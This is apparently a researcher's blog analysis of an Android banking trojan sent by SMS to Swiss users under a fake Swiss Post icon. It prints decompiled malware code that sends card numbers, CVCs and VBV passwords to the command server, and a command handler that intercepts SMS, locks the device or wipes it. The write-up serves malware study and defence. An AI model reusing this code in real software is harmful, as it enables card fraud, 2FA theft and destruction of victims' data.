Malicious SMS are being sent with a link to a malicious APK. Finally, I got some time to take a look to the APK.
The APK uses an icon very similar to the one used by some valid applications ("Swiss Post" and "Post Finance") to fool the user. The APK requests Admin rights. Once granted the rights, the app is able to erase the device.
On account of the the admin rights, the APK can't be easily uninstalled. Moreover, this APK draw over other apps
If the "Draw over" permission is removed, the app can't be uninstalled and throws an error:
Bad guys are very insistent to keep persistence :)
There is some communication through HTTP with the C&C sending information about the device. For example, some of the apps installed
Also, the malicious APK is able to intercept all the SMS received on the phone and forward to the C&C, which permits for example to steal 2FA tokens
A quick overview to the APK did not give much information.
However, something that brought my attention is that the APK installs another DEX file. This second file is not pulled from Internet
Looking around a bit into the original original APK file I find a suspicious file, which it is likely the second DEX installed.
From the file system, I can pull the DEX file directly :)
Now it is time to take a look into the code of the DEX file
First thing I see is some interesting 'CreditCard' classes / methods:
Digging a bit into the code, I can see the apps which potentially are being 'monitored'
com.whatsapp", "com.android.vending", "com.facebook.orca", "com.facebook.katana", "com.tencent.mm", "com.google.android.youtube", "com.ubercab", "com.viber.voip", "com.eboks.activities", "com.skype.raider", "com.snapchat.android", "com.instagram.android", "com.twitter.android"
package com.vzuyl.wxhwfnyvr; public class Constants { public static final String APP_ID = "APP_ID"; public static final String CAN_WRITE_SMS = "CAN_WRITE_SMS"; public static final String CARD_SENT = "CARD_SENT"; public static final String INSTALL_SENT = "INSTALL_SENT"; public static final String INTERCEPTING_ENABLED = "INTERCEPTING_ENABLED"; public static final String LOCK_ENABLED = "LOCK_ENABLED"; public static final String[] PACKAGES = { "com.whatsapp", "com.android.vending", "com.facebook.orca", "com.facebook.katana", "com.tencent.mm", "com.google.android.youtube", "com.ubercab", "com.viber.voip", "com.eboks.activities", "com.skype.raider", "com.snapchat.android", "com.instagram.android", "com.twitter.android" }; public static final String PREFS_NAME = "app_settings"; }
But the most interesting part of the code is the one to send credit card data.
private void sendData() { try { JSONObject localJSONObject = new JSONObject(); localJSONObject.put("number", this.ccBox.getText().toString()); localJSONObject.put("month", this.expiration1st.getText().toString()); localJSONObject.put("year", this.expiration2nd.getText().toString()); localJSONObject.put("cvc", this.cvcBox.getText().toString()); localJSONObject.put("cardholder", this.nameOnCard.getText().toString()); localJSONObject.put("vbv1", this.oldVbvPass); localJSONObject.put("vbv2", this.vbvPass.getText().toString()); Intent localIntent = new Intent(this, ghatwpx.class); localIntent.setAction("REPORT_CARD_DATA"); localIntent.putExtra("data", localJSONObject.toString()); startService(localIntent); return; } catch (JSONException localJSONException) { localJSONException.printStackTrace(); } }
The C&C can send several commands.
str = Sender.request(dkukcwkg.this.httpClient, str, ((JSONObject)localObject2).toString()).getString("cmd"); localObject2 = new Intent(dkukcwkg.this.context, ghatwpx.class); if (str.equals("intercept start")) { Utils.putBoolVal((SharedPreferences)localObject1, "INTERCEPTING_ENABLED", true); ((Intent)localObject2).setAction("REPORT_INTERCEPT_STATUS"); dkukcwkg.this.startService((Intent)localObject2); return; } } catch (Exception localException) { localException.printStackTrace(); return; } if (str.equals("intercept stop")) { Utils.putBoolVal(localException, "INTERCEPTING_ENABLED", false); ((Intent)localObject2).setAction("REPORT_INTERCEPT_STATUS"); } else if (str.equals("lock")) { Utils.putBoolVal(localException, "LOCK_ENABLED", true); ((AudioManager)dkukcwkg.this.context.getSystemService("audio")).setRingerMode(0); dkukcwkg.showSysDialog(); ((Intent)localObject2).setAction("REPORT_LOCK_STATUS"); } else if (str.equals("unlock")) { Utils.putBoolVal(localException, "LOCK_ENABLED", false); ((AudioManager)dkukcwkg.this.context.getSystemService("audio")).setRingerMode(2); if (Build.VERSION.SDK_INT == 19) { Utils.startSMSApp(dkukcwkg.this.context); Utils.startHome(dkukcwkg.this.context); } dkukcwkg.hideSysDialog(); ((Intent)localObject2).setAction("REPORT_LOCK_STATUS"); } else if (str.equals("hard reset")) { dkukcwkg.this.reset(); ((Intent)localObject2).setAction(""); } else { ((Intent)localObject2).setAction(""); } } } };
So basically, the commands are: intercept start, intercept stop, lock, unlock, and hard reset.
Playing a bit with BurpSuite, I can send those commands to the device and see the behavior
The lock command locks totally the device with a System update message, as showed in the image above.
Finally, the 'hard reset' command, is used to erase the device:
So this version of the malware targeting Switzerland 'monitors' a few more apps than the one analysed in FireEye report: com.eboks.activities", "com.skype.raider", "com.snapchat.android", "com.instagram.android", "com.twitter.android.
It also permits to steal received SMS, credit card details and forward to the C&C.
Once the device is compromised and the information is stolen, it can be remotely reset which would make a forensic investigation very hard.